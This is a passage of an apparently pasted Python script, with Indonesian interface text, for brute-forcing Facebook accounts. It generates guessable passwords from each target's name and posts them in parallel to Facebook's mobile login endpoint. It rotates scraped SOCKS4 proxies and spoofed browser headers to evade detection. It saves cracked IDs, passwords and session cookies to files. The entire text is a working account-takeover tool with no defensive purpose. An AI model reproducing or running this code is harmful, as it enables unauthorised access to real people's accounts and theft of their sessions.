  1126. #----------[ WORDLIST ]----------#              
  1127. def otomatisx():
  1128.     global prog,des
  1129.     prints(Panel(f"%s HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1130.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  1131.     des = prog.add_task('',total=len(id2))
  1132.     with prog:
  1133.         with tred(max_workers=30) as pool:
  1134.             for akun in id2:
  1135.                 idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
  1136.                 depan = nama.split(" ")[0]
  1137.                 pwx = []
  1138.                 if len(nama)<=5:
  1139.                     if len(depan)<=1 or len(depan)<=2:
  1140.                         pass
  1141.                     else:
  1142.                         pwx.append(depan+"123")
  1143.                         pwx.append(depan+"1234")
  1144.                         pwx.append(depan+"12345")
  1145.                 else:
  1146.                     if len(depan)<=1 or len(depan)<=2:
  1147.                         try:
  1148.                             tengah = nama.split(" ")[1]
  1149.                             if len(tengah)<=3:
  1150.                                 pass
  1151.                             else:
  1152.                                 pwx.append(tengah+"123")
  1153.                                 pwx.append(tengah+"1234")
  1154.                                 pwx.append(tengah+"12345")
  1155.                                 pwx.append(nama)
  1156.                         except:
  1157.                             try:
  1158.                                 belakang = nama.split(' ')[2]
  1159.                                 if len(belakang)<=3:pass
  1160.                                 else:
  1161.                                     pwx.append(belakang+"123")
  1162.                                     pwx.append(belakang+"1234")
  1163.                                     pwx.append(belakang+"12345")
  1164.                                     pwx.append(nama)
  1165.                             except:
  1166.                                  pwx.append(nama)
  1167.                     else:
  1168.                         pwx.append(nama)
  1169.                         pwx.append(depan+"123")
  1170.                         pwx.append(depan+"1234")
  1171.                         pwx.append(depan+"12345")
  1172.                         pwx.append(depan+"321")
  1173.                 if '><asyinc><' in method:
  1174.                     pool.submit(crack,idf,pwx,'m.facebook.com')
  1175.                 else:
  1176.                     pool.submit(crack,idf,pwx,'m.facebook.com')
  1177.                    
  1178.     tree = Tree(Panel.fit(f"\r%sCrack Telah Selesai Dengan Jumlah%s OK : {ok} %sDan Jumlah%s CP:{cp}%s"%(P2,H2,P2,K2,P2),style=f"#AAAAAA"))
  1179.     tree.add(Panel.fit(f"\r%sApakah Ingin Lanjut Crack Kembali (y/t)"%(P2),style=f"#AAAAAA"))
  1180.     prints(tree)
  1181.     gas = input(f"[â€Ē] PILIH : ")
  1182.     if gas in ['y','Y','ya','Ya']:
  1183.         MBF_MENU()
  1184.     else:
  1185.         tree = Tree("")
  1186.         tree.add(Panel.fit(f"\r%sGood Byee Jangan Lupa Bersyukur Dengan Hasilnya"%(K2),style=f"#AAAAAA"))
  1187.         prints(tree)
  1188.         time.sleep(2)
  1189.         exit() 
  1190.                        
  1191. #----------[ MOBILE ASYINC ]----------#                            
  1192. def crack(idf,pwx,url):
  1193.     global loop,ok,cp
  1194.     ses = requests.Session()
  1195.     rr = random.randint
  1196.     rc = random.choice
  1197.     emot = rc(["😝","😜","ðŸĪŠ"])
  1198.     prog.update(des,description=f"\r {emot} Cracking ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1199.     prog.advance(des)
  1200.     for pw in pwx:
  1201.         try:
  1202.             if 'ya' in uadia: ua = uamu[0]
  1203.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1204.             open('socksku.txt','w').write(proxs)
  1205.             nip = rc(proxs)
  1206.             proxs = {'http': 'socks4://'+nip}
  1207.             ua = rc(ugen)
  1208.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1209.             ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
  1210.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1211.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1212.             'had_cp_prefilled': 'false',
  1213.             'had_password_prefilled': 'false',
  1214.             'is_smart_lock': 'true',
  1215.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1216.             "__dyn": "",
  1217.             "__csr": "",
  1218.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1219.             "__a": "",
  1220.             "__user": "0",
  1221.             "_fb_noscript": "true"}
  1222.             head = {"Host": url,
  1223.             "content-length": f"{len(str(date))}",
  1224.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1225.             "sec-ch-ua-mobile": "?1",
  1226.             "user-agent": ua,
  1227.             "viewport-width": f"str(rr(400,989)",
  1228.             "content-type": "application/x-www-form-urlencoded",
  1229.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1230.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1231.             "x-asbd-id": "129477",
  1232.             "x-requested-with": "com.android.chrome",
  1233.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1234.             "sec-ch-prefers-color-scheme": "light",
  1235.             "sec-ch-ua-platform": '"Android"',
  1236.             "accept": "*/*",
  1237.             "origin": "https://"+url,
  1238.             "sec-fetch-site": "same-origin",
  1239.             "sec-fetch-mode": "cors",
  1240.             "sec-fetch-dest": "empty",
  1241.             "referer": ref,
  1242.             "accept-encoding": "gzip, deflate, br",
  1243.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}      
  1244.             links = rc([f"https://{url}/login/device-based/login/async/?api_key=2099441543493930&auth_token=ed9cb45a485f81810505130bc83f37bb&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=2099441543493930&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100"])
  1245.             po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
  1246.             if "c_user" in ses.cookies.get_dict().keys():
  1247.                 ok+=1
  1248.                 coki = po.cookies.get_dict()
  1249.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1250.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  1251.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  1252.                 tree.add(Panel.fit(f"[green]{idf}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{pw}",style=f"#AAAAAA"))
  1253.                 tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
  1254.                 prints(tree)
  1255.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  1256.                 break          
  1257.             elif "checkpoint" in po.cookies.get_dict().keys():
  1258.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  1259.                 tree.add(Panel.fit(f"[yellow]{idf}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{pw}",style=f"#AAAAAA"))
  1260.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  1261.                 prints(tree)
  1262.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  1263.                 cp+=1
  1264.                 break  
  1265.                
  1266.             else:
  1267.                 continue
  1268.         except requests.exceptions.ConnectionError:
  1269.             time.sleep(31)
  1270.     loop+=1
  1271.    
  1272. #----------[ SYSTEM-CONTROL ]----------#   
  1273. if __name__=='__main__':
  1274.     try:os.system('git pull')
  1275.     except:pass
  1276.     try:os.mkdir('MBF-OK')
  1277.     except:pass
  1278.     try:os.mkdir('MBF-CP')
  1279.     except:pass
  1280.     MBF_MENU()    
Add Comment
Please, Sign In to add comment